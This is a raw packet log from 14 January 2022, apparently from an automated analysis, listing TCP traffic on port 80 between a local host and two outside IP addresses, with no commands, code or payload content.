Jan 14, 2022 12:30:18.577579975 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577608109 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577616930 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577635050 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577662945 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577673912 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577692032 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577718019 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577728987 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577745914 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577773094 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577785015 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577801943 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577830076 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577838898 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577879906 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577908993 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577919960 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577935934 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577965021 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577975035 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577991962 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578018904 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578030109 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.578047991 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578073978 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578083992 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.578100920 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578125954 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578135967 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.578152895 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578180075 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578191042 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.578206062 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578233957 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578243971 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.578262091 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578286886 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578298092 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.578315020 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578341961 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578351021 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.578370094 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578404903 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578421116 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.578432083 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578465939 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.578469038 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578505993 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578547001 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.578633070 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578663111 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578696966 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.578706980 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.580868006 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.580905914 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.580920935 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.664513111 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.674649000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:18.814996958 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:18.932346106 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.932471037 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.026988983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.027090073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.027179956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.027283907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.027373075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.027460098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.027568102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.027657986 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.027745962 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.027831078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.027954102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028018951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028105021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028196096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028283119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028372049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028469086 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028594971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028685093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028774977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028867006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.028954029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029045105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029130936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029223919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029310942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029409885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029510975 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029603958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029768944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029803991 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029886961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.029972076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.030061007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.030149937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.030237913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.030328989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.030414104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.030582905 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.030674934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.030764103 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.030853987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.030962944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.031054020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.031136990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.031219006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.031305075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.031398058 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.031630039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.031728983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.031820059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.031908989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032002926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032088995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032181978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032269001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032358885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032449961 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032582998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032670021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032766104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032855034 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.032946110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.033035994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.033128977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.033216953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.033312082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.033396959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.033668041 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.033771038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.034838915 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.063224077 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063252926 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063265085 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063277960 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063297033 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063308954 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063324928 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.063328028 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063349009 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063368082 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063385010 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.063385963 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063399076 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063410997 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.063419104 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063436985 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063445091 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.063455105 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063487053 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.063524961 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.063658953 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063677073 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063688993 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063699961 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:19.063736916 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.063760042 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.090797901 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090821028 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090826988 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090840101 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090852022 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090862989 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090874910 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090886116 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090929031 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090940952 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090950966 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090962887 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090975046 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090985060 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.090996981 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.096815109 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.100878954 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.104876041 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.188924074 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:19.488564014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.488744974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.488883018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.489017010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.489139080 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.489270926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.489396095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.489559889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.489695072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.489825964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.489955902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.490104914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.490293026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.490423918 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.490694046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.490813971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.490935087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.491048098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.491178036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.491303921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.491470098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.493030071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.493161917 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.493294001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.493429899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.493582964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.493711948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.493845940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.494102955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.494457006 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.494709015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:19.550277948 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550299883 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550307989 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550317049 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550324917 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550335884 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550347090 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550358057 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550369024 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550379038 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550390005 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550400019 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550410986 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550420046 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550431013 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.550446033 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.557135105 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.561983109 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:19.664640903 CET	49928	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.602474928 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.602799892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.602909088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.602998972 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.603087902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.603176117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.603261948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.603367090 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.603456974 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.603543997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.603652954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.603741884 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.603835106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.603919983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604012966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604100943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604191065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604278088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604366064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604450941 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604537964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604635954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604721069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604814053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604897976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.604995012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.605087996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.605170012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.605262995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.605349064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.605437040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.605526924 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.605650902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.605737925 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.605833054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.605920076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606018066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606098890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606180906 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606267929 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606359959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606446028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606539965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606633902 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606729984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606821060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606911898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.606997013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.607085943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.607175112 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.607455969 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.607642889 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.607742071 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.607837915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608014107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608108997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608114958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608234882 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608294010 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608366013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608464003 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608567953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608650923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608736992 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608844995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.608927965 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609065056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609114885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609195948 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609288931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609374046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609457016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609548092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609657049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609741926 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609824896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.609915018 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610021114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610095978 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610188007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610279083 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610367060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610450983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610537052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610636950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610728025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610819101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610904932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.610997915 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.611087084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.611174107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.611269951 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.611356020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.611447096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.611535072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.611691952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.611783028 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.611871004 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.611960888 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.612051964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.612140894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.612231970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.612320900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.612407923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.612499952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:20.663084984 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663110971 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663117886 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663130045 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663137913 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663146973 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:20.663155079 CET	80	49914	185.215.113.35	192.168.2.4
